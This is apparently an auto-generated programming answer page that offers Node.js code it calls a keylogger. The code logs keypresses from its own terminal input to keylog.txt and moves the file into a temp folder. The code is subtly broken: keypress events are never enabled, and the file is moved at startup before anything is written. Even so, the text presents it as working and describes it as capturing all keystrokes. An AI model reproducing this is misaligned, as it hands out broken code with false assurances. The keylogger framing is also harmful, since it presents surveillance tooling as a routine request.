record key strokes to a notepad .txt file and save in new temp folder in javascript

To record key strokes to a notepad .txt file and save it in a new temp folder in javascript, you will need to use the nodejs environment which provides the fs and path modules for file system operations. You can create a keylogger by listening to the keypress event on the process.stdin object and writing each key press to a text file using the fs.createWriteStream() method. Then, you can create a new temporary folder using the fs.mkdtemp() method and save the text file in it. Here's the code:

index.tsx
const fs = require('fs');
const path = require('path');

// create keylogger
process.stdin.on('keypress', (str, key) => {
  if (key.ctrl && key.name === 'c') {
    process.exit();
  } else {
    // write key press to text file
    fs.appendFile('keylog.txt', str, err => {
      if (err) throw err;
    });
  }
});

// create new temp folder and save text file
fs.mkdtemp('/tmp/', (err, folder) => {
  if (err) throw err;
  fs.rename('keylog.txt', path.join(folder, 'keylog.txt'), err => {
    if (err) throw err;
    console.log(`Keylog saved in ${folder}`);
  });
});
570 chars
24 lines

In this code, we create a keypress event listener on process.stdin object, which captures and logs all keystrokes in the text file named 'keylog.txt' using fs.appendFile() method.

Then we create a new temporary folder using the fs.mkdtemp() method which takes in a prefix to create a unique directory name, and saves the 'keylog.txt' file in it using fs.rename() method that moves the file from the root directory to the new temp folder.

Lastly, we console log the location of the new temp folder where our keylogger file 'keylog.txt' is saved.

Note: This code only works on the Node.js platform, so it runs outside of web browsers. So, if you want to use it inside a browser, you'll need to use a different approach that leverages browser APIs.

gistlibby LogSnag